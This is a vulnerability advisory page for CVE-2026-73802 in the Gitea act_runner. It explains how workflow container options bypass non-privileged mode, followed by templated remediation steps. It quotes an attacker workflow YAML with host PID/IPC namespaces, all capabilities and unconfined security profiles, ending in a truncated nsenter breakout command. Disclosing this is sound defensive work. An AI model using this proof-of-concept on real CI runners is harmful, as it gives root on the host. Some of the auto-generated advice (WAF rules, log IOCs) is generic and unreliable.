Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-73802

Privilege Escalation in gitea.com/gitea/runner (CVE-2026-73802)

Summary

Vulnerability in gitea.com/gitea/runner (CVE-2026-73802). Risk of unauthorized operations or information disclosure. Exploitable via Privileged. Mitigation: upgrade to 1.0.9-0.20260731160927-34bfa1915022 or later.

Original description

The description as published by the source.

Summary

act_runner appends workflow-controlled jobs..container.options directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only Privileged is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.

Details

Source-to-sink path in act_runner:

  • ContainerSpec.Options accepts workflow YAML container.options
  • RunContext.options() appends workflow options to runner-level container options
  • Job container is created with Privileged: rc.Config.Privileged but also
    with Options: rc.options(ctx)
  • mergeContainerConfigs() parses Docker CLI-style options into HostConfig
  • When privileged mode is disabled, only copts.privileged is forced false
  • sanitizeConfig() only filters Binds and Mounts
  • Preserved dangerous HostConfig fields:
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]

Attacker workflow YAML:

jobs:
  breakout:
    runs-on: ubuntu-latest
    container:
      image: ubuntu:22.04
      options: >-
        --pid=host --ipc=host --cap-add=ALL 
        --security-opt seccomp=unconfined 
        --security-opt apparmor=unconfined
    steps:
      - name: host namespace marker
        run: |
          nsenter -t 1 -m -u -i -…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-73802 has been found in gitea.com/gitea/runner.
Attackers can target a specific entry point like Privileged over the network to misuse the product.
Risk of unauthorized operations or information disclosure.
What to do: upgrade gitea.com/gitea/runner to 1.0.9-0.20260731160927-34bfa1915022 or later.
If unsure, ask your IT team or search "gitea.com/gitea/runner CVE-2026-73802" on the vendor's site.

CVE-2026-73802 (gitea.com/gitea/runner) — CWE-269
Attack surface: Privileged / ContainerSpec.Options / container.options / copts.privileged
Patched: 1.0.9-0.20260731160927-34bfa1915022 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-269) exists in gitea.com/gitea/runner. Attackers reach the vulnerable code path via Privileged.

📍 Affected scope

Check the vendor advisory for the affected versions of gitea.com/gitea/runner. Attack surface: Privileged / ContainerSpec.Options / container.options / copts.privileged.

🔥 Severity

Severity: ?. Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 1.0.9-0.20260731160927-34bfa1915022.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'gitea.com/gitea/runner' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'gitea.com/gitea/runner' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で gitea.com/gitea/runner を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade gitea.com/gitea/runner to 1.0.9-0.20260731160927-34bfa1915022

    ステージング環境で 1.0.9-0.20260731160927-34bfa1915022 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

go gitea.com/gitea/runner
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.9-0.20260731160927-34bfa1915022"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details